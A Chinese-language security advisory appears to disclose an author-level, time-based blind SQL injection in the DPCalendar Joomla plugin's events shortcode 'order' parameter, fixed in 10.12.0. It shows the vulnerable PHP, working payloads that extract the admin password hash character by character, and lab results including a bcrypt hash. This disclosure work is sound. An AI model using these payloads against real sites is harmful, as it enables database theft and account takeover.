DPCalendar Free ≤ 10.11.2 — 作者级用户通过基于时间的盲注提取完整数据库
plg_content_dpcalendar 内容插件会解析嵌入在 Joomla 文章正文中的 {{#events order="..."}}{{/events}} 短代码。order 参数值被直接传递给 EventsModel::setState('list.ordering', ...),完全绕过了模型自身的 populateState() 白名单。该值随后被插入到 SQL ORDER BY 子句中,仅受 DatabaseDriver::escape() 保护——这不足以防御子查询注入。
拥有创建或编辑文章权限的作者级用户可利用此漏洞,通过基于时间的盲 SQL 注入从数据库中窃取数据。该 SQL 注入在攻击者自己的文章保存请求中触发——无需受害者交互、无需发布文章、也无需管理员参与。
| 组件 | 受影响版本 | 测试环境 | 修复版本 |
|---|---|---|---|
| DPCalendar Free | 1.0.0 – 10.11.2 | Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27) | 10.12.0 |
注意: 此漏洞与 CVE-2026-57831(通过
filter_created_by在EventsModel.php中存在的未认证 SQL 注入,已在 v10.11.2 中修复)不同。本次发现影响的是内容插件(plg_content_dpcalendar)——不同的文件、不同的参数,且在发现时最新版本中仍未修复。
类型: SQL 注入 (CWE-89) — 基于时间的盲注
所需认证: 作者角色(可创建/编辑 Joomla 文章)
端点: POST /index.php/submit-article?view=form&layout=edit
文件: plg_content_dpcalendar/src/Extension/DPCalendar.php
该插件的短代码解析器遍历 {{#events}} 标签中的所有键值参数并直接设置模型状态,完全绕过了 populateState() 白名单验证:
PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP — 易受攻击的参数处理
foreach ($params as $paramKey => $paramValue) {
switch ($paramKey) {
case 'order':
// 易受攻击:直接从用户输入设置排序状态
// 完全绕过 populateState() 白名单
$model->setState('list.ordering', $paramValue);
break;
case 'orderdir':
$model->setState('list.direction', $paramValue);
break;
// ...
}
}
被污染的值流入 EventsModel::getListQuery(),仅应用了引号转义——这不足以阻止 ORDER BY 上下文中的子查询注入:
COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 — ORDER BY 构造
$orderCol = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');
// $db->escape() 仅转义引号 — 无法阻止子查询注入
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));
诸如 (SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0)) 之类的子查询可原样通过 $db->escape(),因为它不包含任何引号字符。生成的 SQL 变为:
ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))--
ORDER BY 表达式仅在结果集非空时才会被求值——这要求至少存在一个已发布的未来 DPCalendar 事件,这是任何活跃 DPCalendar 安装的标准条件。
关键行为: SQL 注入在保存/编辑 POST 请求本身中触发——时间延迟可直接在 HTTP 响应(303 重定向)中观察到。攻击者测量的是自己 POST 请求的响应时间;无需查看文章、刷新页面或执行发布步骤。
前提条件:
plg_content_dpcalendar 插件(DPCalendar 安装时默认启用)start_date 在未来的 DPCalendar 事件场景:基于时间的盲 SQL 注入 → 提取管理员凭据
插件在构建查询前会设置 filter.state = 1 和 list.start-date = NOW()。ORDER BY 子查询仅在结果集包含行时才会执行;如果匹配 0 行,则永远不会调用 SLEEP()。

使用作者账户认证 Joomla 前端。整个攻击过程中无需任何管理员访问权限。

导航至前端文章提交表单(/submit-article)。在文章正文中插入以下载荷并点击保存:
{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}
POST 响应本身延迟约 5 秒。onContentPrepare 在 Joomla 保存流程中触发,在发出 303 重定向之前调用易受攻击的查询。无需查看文章或发布文章。

将 1=1 替换为 1=2(始终为假)。SLEEP 不会被触发,响应立即返回(约 100ms),确认了可靠的时间区分。
{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}

使用 ASCII(SUBSTRING(...)) 比较来读取每个字符。必须避免使用单引号(短代码正则表达式 [^"\']* 会在任何引号字符处停止);请改用十进制 ASCII 值:
{{#events order="(SELECT IF(ASCII(SUBSTRING((SELECT password FROM joomla.jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- " limit="1"}}{{/events}}
响应时间约 5 秒 → TRUE → char[1] = '$'(ASCII 36 — bcrypt $2y$10$... 哈希的第一个字符)。

运行 exploit/exploit.py 以自动化逐字节提取循环:
python3 exploit/exploit.py http://TARGET
该脚本以作者身份登录,提交精心构造的载荷,并提取用户名、电子邮件和完整的 60 字符 bcrypt 密码哈希。实验室结果确认:admin / [email protected] / $2y$10$5hGoueEFCH1z3NXZT3aWj.RZQ7ebuRqe8xU/s56iZPidb2GX1NqoC。

| 条件 | 响应时间 |
|---|---|
TRUE:ASCII(SUBSTR(password,1,1))=36 | 约 5,000 ms |
FALSE:ASCII(SUBSTR(password,1,1))=65 | 约 100 ms |
jos_users.password)、会话令牌和用户电子邮件。